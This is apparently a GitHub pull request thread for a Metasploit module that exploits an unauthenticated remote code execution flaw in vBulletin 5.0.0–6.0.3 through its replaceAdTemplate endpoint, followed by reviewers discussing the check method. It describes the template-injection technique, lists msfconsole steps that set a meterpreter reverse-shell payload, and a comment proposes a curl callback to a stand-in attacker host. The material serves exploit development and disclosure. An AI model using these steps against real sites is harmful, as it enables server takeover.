vBulletin replaceAdTemplate Remote Code Execution

[Chocapikk]

Hello Metasploit Team,

This PR introduces the unauthenticated RCE module exploit/multi/http/vbulletin_replace_ad_template_rce. It exploits a flaw in vBulletin 5.0.0–6.0.3 on PHP 8.1+ by abusing the replaceAdTemplate AJAX endpoint to inject a <vb:if> template that executes "system"("base64_decode"($_POST[<param>])), then triggers it via ajax/render/ad_<location>. No CVE has been assigned for this issue; it was publicly documented by Egidio Romano (EgiX) at Karma(In)Security: https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce.

cc: @EgidioRomano

I've provided a vBulletin 6.0.1 package to the msfdev team by email (Please check, because I think the email has been blocked as a “security issue”) for private testing.

---

Verification

• After installing vBulletin as documented, run:

  use exploit/multi/http/vbulletin_replace_ad_template_rce
  set RHOSTS <target>
  set RPORT <port>
  set TARGETURI /
  set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
  set LHOST <your IP>
  set LPORT <your port>
  run

• Verify a Meterpreter session is established as the webserver user.

The module's documentation covers additional details on setup and usage.

Thanks for reviewing!

[EgidioRomano]

@Chocapikk @jvoisin just for the records: the affected versions should be all 5.x and early 6.x versions before 6.0.4. So, it's not just 5.1.0-6.0.3, but 5.0.0-6.0.3.

[EgidioRomano]

@Chocapikk Furthermore, I'd also suggest to revisit the check method: I believe only few web servers are exposing the X-Powered-By HTTP header, and most vBulletin websites hide the version number from the HTML. As such, I'd rewrite the check method as follow:

1. Try to invoke the ajax/api/ad/replaceAdTemplate method passing random strings as the location and template parameter
2. Try to invoke the ajax/render/ad_#{locaction} route and see whether the response contains the #{template} random string; if so, it's vulnerable, otherwise it's safe.

Simple and more efficient than relying on versions matching, IMHO.

[Chocapikk]

Hi @EgidioRomano , Thanks for the suggestions, I'll take this into consideration, the goal being that the check function is as less intrusive as possible, but yes, I see what you mean, it's also a valid solution

[EgidioRomano]

@Chocapikk one more thing: furthermore, relying on versions matching could provide false positives... For instance, I guess most of the vBulletin 5.x websites out there are using the latest 5.7.5 version, but the question is that some (most?) of those websites have likely applied security patches, so they're not vulnerable... Even if your current check method would say they're vulnerable.

[Admin9961]

@EgidioRomano Complimenti 🇮🇹 invece di delegare a version matching si può tentare un approccio leggermente più aggressivo ma comunque innoquo. Si forza il target ad eseguire qualcosa come curl http://controlled_attacker_listener.com:8080 e se il listener riceve una callback, conferma che il target è vulnerabile. Quest'idea funziona, perché curl è cross-platform nel 2025, è sia su Linux che su Windows 10/11 e Windows Server moderni.

[EgidioRomano]

🇮🇹 @Admin9961 Grazie! Si, anche il tuo metodo può funzionare... Ma come dice anche @Chocapikk, l'obiettivo è rendere la funzione check il meno intrusiva possibile, e credo che il metodo che ho suggerito io sia un pò meno "intrusivo" rispetto ad usare curl! 😅

🇬🇧 @Admin9961 Thanks! Yeah, your method might work too... But as @Chocapikk also says, the goal is to make the check method as non-intrusive as possible, and I think the method I suggested is a bit less "intrusive" than yours! 😅

[Admin9961]

@Chocapikk Furthermore, I'd also suggest to revisit the check method: I believe only few web servers are exposing the X-Powered-By HTTP header, and most vBulletin websites hide the version number from the HTML. As such, I'd rewrite the check method as follow:

1. Try to invoke the `ajax/api/ad/replaceAdTemplate` method passing random strings as the `location` and `template` parameter

2. Try to invoke the `ajax/render/ad_#{locaction}` route and see whether the response contains the `#{template}` random string; if so, it's vulnerable, otherwise it's safe.

Simple and more efficient than relying on versions matching, IMHO.

Yes this is less aggressive, I've actually missed that method. It's very optimal, implement that please @Chocapikk

[Chocapikk]

Hey @Admin9961 , I'll do it. Just not right away. I've been working too hard these past few days, but yes, I'll use this method. Thanks for the feedback, guys!

[bwatters-r7]

Should this be vulnerable, since we're performing the exploit?

[bwatters-r7]

By using the exploit for the check, this is giving little feedback to the user. It might be worthwhile to print out status messages using something like vprint_status to the user.

[bwatters-r7]

Maybe also explicitly use false.
Yes, nil will be falsey, but in this case, we can just return the clearer value.